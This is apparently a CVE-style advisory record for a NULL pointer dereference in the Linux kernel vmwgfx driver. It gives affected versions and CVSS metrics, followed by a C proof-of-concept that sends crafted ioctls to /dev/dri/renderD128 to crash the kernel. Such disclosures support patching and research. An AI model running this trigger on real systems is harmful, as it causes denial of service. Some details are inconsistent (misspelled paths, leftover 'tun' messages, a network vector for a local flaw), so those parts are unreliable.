title: There is a NULL pointer vulnerability in vmwgfx driver
description: A NULL pointer dereference vulnerability was found in vmwgfx driver in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in GPU component of Linux kernel with device file '/dev/dri/renderD128 (or Dxxx)'. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS).
problem types: CWE-476 NULL Pointer Dereference
affected:
{
product: kernel
vendor: Linux
versions:
lessThan: 5.13.0-52*, status: affected, version: v4.20-rc1, versionType: custom
}
metrics:
cvssV3_1: [
attackComplexity: LOW
attackVector: NETWORK
availabilityImpact: HIGH
baseScore: 6.3
baseSeverity: MEDIUM
confidentialityImpact: NONE
integrityImpact: LOW
privilegesRequired: LOW
scope: UNCHANGED
userInteraction: REQUIRED
vectorString: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H
version: 3.1
]
exploits: #include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <linux/if_tun.h>
#include <net/if.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/socket.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <errno.h>
#include <stdio.h>
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdint.h>
#include <netinet/ip.h>
#include <sys/resource.h>
#include <sys/syscall.h>
#include <limits.h>
#include <sys/mman.h>
#include <linux/fs.h>
int fd = 0;
typedef struct mixer
{
int index;
int fd;
char *msg;
}mixer_t;
struct drm_vmw_surface_create_req {
__u32 flags;
__u32 format;
__u32 mip_levels[6];
__u64 size_addr;
__s32 shareable;
__s32 scanout;
};
struct drm_vmw_execbuf_arg {
__u64 commands;
__u32 command_size;
__u32 throttle_us;
__u64 fence_rep;
__u32 version;
__u32 flags;
__u32 context_handle;
__s32 imported_fence_fd;
};
void init(){
if ((fd = open("/dev/dri/renderD128", O_RDWR)) == -1)
{
printf("open tun failed: %s\n", strerror(errno));
return -1;
}
}
void poc(int sid){
int cmd[0x1000]={0};
cmd[0]=1165;
cmd[1]=0x50;
cmd[2]=0x0;
cmd[3]=0x0;
cmd[4]=-1;
struct drm_vmw_execbuf_arg arg={0};
arg.commands=cmd;
arg.command_size=0x100;
arg.version=2;
arg.context_handle=sid;
if (ioctl(fd, 0x4028644C, &arg) == -1)
{
printf("ioctl tun failed: %s\n", strerror(errno));
return -1;
}
}
int alloc_context(){
int arg[0x10]={0};
arg[0]=0;
arg[1]=0x100;
if (ioctl(fd, 0x80086447, &arg) == -1)
{
printf("ioctl tun failed: %s\n", strerror(errno));
return -1;
}
return arg[0];
}
int alloc_bo(){
int arg[0x10]={0};
arg[0]=0x10000;
if (ioctl(fd, 0xC0186441, &arg) == -1)
{
printf("ioctl tun failed: %s\n", strerror(errno));
return -1;
}
return arg[2];
}
int create_surface(){
int buf[0x100]={0};
buf[0]=64;
buf[1]=64;
buf[2]=64;
struct drm_vmw_surface_create_req arg={0};
arg.flags=0;
arg.format=2;
arg.mip_levels[0]=1;
arg.size_addr=buf;
arg.shareable=0;
arg.scanout=0x10;
if (ioctl(fd, 0xC0306449, &arg) == -1)
{
printf("ioctl tun failed: %s\n", strerror(errno));
return -1;
}
return arg.flags;
}
int main(int ac, char **argv)
{
init();
int cid=alloc_context();
printf("%d",cid);
poc(cid);
}
